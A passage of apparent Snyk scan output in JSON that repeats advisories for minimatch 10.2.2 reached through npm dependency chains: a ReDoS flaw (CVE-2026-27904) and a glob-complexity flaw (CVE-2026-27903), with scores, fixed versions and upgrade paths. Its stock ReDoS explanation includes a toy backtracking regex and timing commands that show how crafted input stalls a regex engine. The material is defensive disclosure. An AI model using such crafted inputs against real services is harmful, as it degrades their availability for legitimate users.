hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 